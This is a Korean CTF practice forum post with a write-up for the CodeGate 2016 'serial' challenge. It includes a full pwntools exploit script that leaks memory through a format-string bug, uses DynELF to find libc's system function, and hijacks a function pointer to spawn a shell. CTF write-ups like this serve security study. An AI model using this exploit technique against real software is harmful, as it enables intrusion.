[CodeGate 2016] serial problem

해킹대회 문제 풀이 연습장소

Moderator: amesianx

Post Reply
swoo1013
Posts: 31
Joined: Tue Sep 20, 2016 4:25 pm

[CodeGate 2016] serial problem

Post by swoo1013 » Thu Apr 06, 2017 12:01 am

스크린샷 2017-04-05 23.58.57.png
스크린샷 2017-04-05 23.58.57.png (302.04 KiB) Viewed 270 times
스크린샷 2017-04-05 23.59.36.png
스크린샷 2017-04-05 23.59.36.png (322.87 KiB) Viewed 270 times
스크린샷 2017-04-06 00.00.01.png
스크린샷 2017-04-06 00.00.01.png (411.92 KiB) Viewed 270 times
'
스크린샷 2017-04-06 00.00.38.png
스크린샷 2017-04-06 00.00.38.png (1.08 MiB) Viewed 270 times
스크린샷 2017-04-06 00.01.06.png
스크린샷 2017-04-06 00.01.06.png (581.39 KiB) Viewed 270 times
스크린샷 2017-04-06 00.37.48.png
스크린샷 2017-04-06 00.37.48.png (356.13 KiB) Viewed 268 times
스크린샷 2017-04-06 00.38.14.png
스크린샷 2017-04-06 00.38.14.png (359.63 KiB) Viewed 268 times
스크린샷 2017-04-06 00.38.29.png
스크린샷 2017-04-06 00.38.29.png (253.5 KiB) Viewed 268 times
스크린샷 2017-04-06 00.38.45.png
스크린샷 2017-04-06 00.38.45.png (459.26 KiB) Viewed 268 times
스크린샷 2017-04-06 00.38.57.png
스크린샷 2017-04-06 00.38.57.png (178.35 KiB) Viewed 268 times
스크린샷 2017-04-06 00.39.11.png
스크린샷 2017-04-06 00.39.11.png (417.49 KiB) Viewed 268 times
스크린샷 2017-04-06 01.32.58.png
스크린샷 2017-04-06 01.32.58.png (836.75 KiB) Viewed 268 times
스크린샷 2017-04-06 01.33.36.png
스크린샷 2017-04-06 01.33.36.png (820.27 KiB) Viewed 268 times
사용한 소스코드는 아래 첨부 하였으며, 해당 소스코드는 DynELF를 통해 libc hash table을 이용해 사용자가 원하는 주소를 leak 하는 함수를 짠 뒤 libc_base 구한 뒤 바이너리에서 사용하는 libc버전을 구한 뒤 오프셋 기반으로 검색한 뒤, system함수를 출력해준다. 그리고 sh;를 이용해 call rdx부분의 인자 값으로 "sh;".ljust(24)를 주고, call rdx 부분에는 leak에서 구한 system함수를 준 뒤 dump해보면 exploit이 된다는 점을 알 수 있다.

from pwn import *
import sys

if len(sys.argv) > 1:
debug = True
else:
debug = False

if debug:
rmt = remote("localhost",1234)
else:
rmt = process('./serial')


context.clear(os='linux',arch='amd64',endian='little')
context.log_level="debug"

log.info("exploit start")

def command(s,string):
global rmt
rmt.recvuntil(s)
rmt.sendline(string)

e = ELF('./serial')

comm = lambda x,*y: command(x,*y)
p = lambda x: p64(x)
u = lambda x: u64(x)

comm("input product key: ","615066814080")

e = ELF('./serial')
def menu():
return rmt.recvuntil(">> ")


@MemLeak
def leak(addr):
comm(">> ", "1") # add formastring pointer to printf
rmt.sendline("AA%13$sCC".ljust(24) + p(e.plt['printf'])) # printf
rmt.sendline("3"*8+p(addr)) # leak dynelf
rmt.sendline("2\n0") # delete first idx
rmt.recvuntil("AA") # get leak data
data = rmt.recvuntil("CC")[:-2]+"\x00"
menu()
return data

d = DynELF(leak,elf=e) # made leak function, binary targeting ELF Class
system = d.lookup('system','libc.so') # getting system function in this binary used libc.so
print hex(system)

rmt.sendline("1") # add function
rmt.sendline("sh;".ljust(24)+p(system)) # exploit printf(&buf) -> system(sh;*("\x00"*len(24-sh))
rmt.sendline("3")
rmt.interactive()
스크린샷 2017-04-06 01.36.22.png
스크린샷 2017-04-06 01.36.22.png (225.76 KiB) Viewed 268 times

amesianx
Posts: 65
Joined: Tue Oct 13, 2015 11:21 am

Re: codegate 2016 serial problem

Post by amesianx » Thu Apr 27, 2017 8:26 pm

굿잡~!

Post Reply

Who is online

Users browsing this forum: No registered users and 18 guests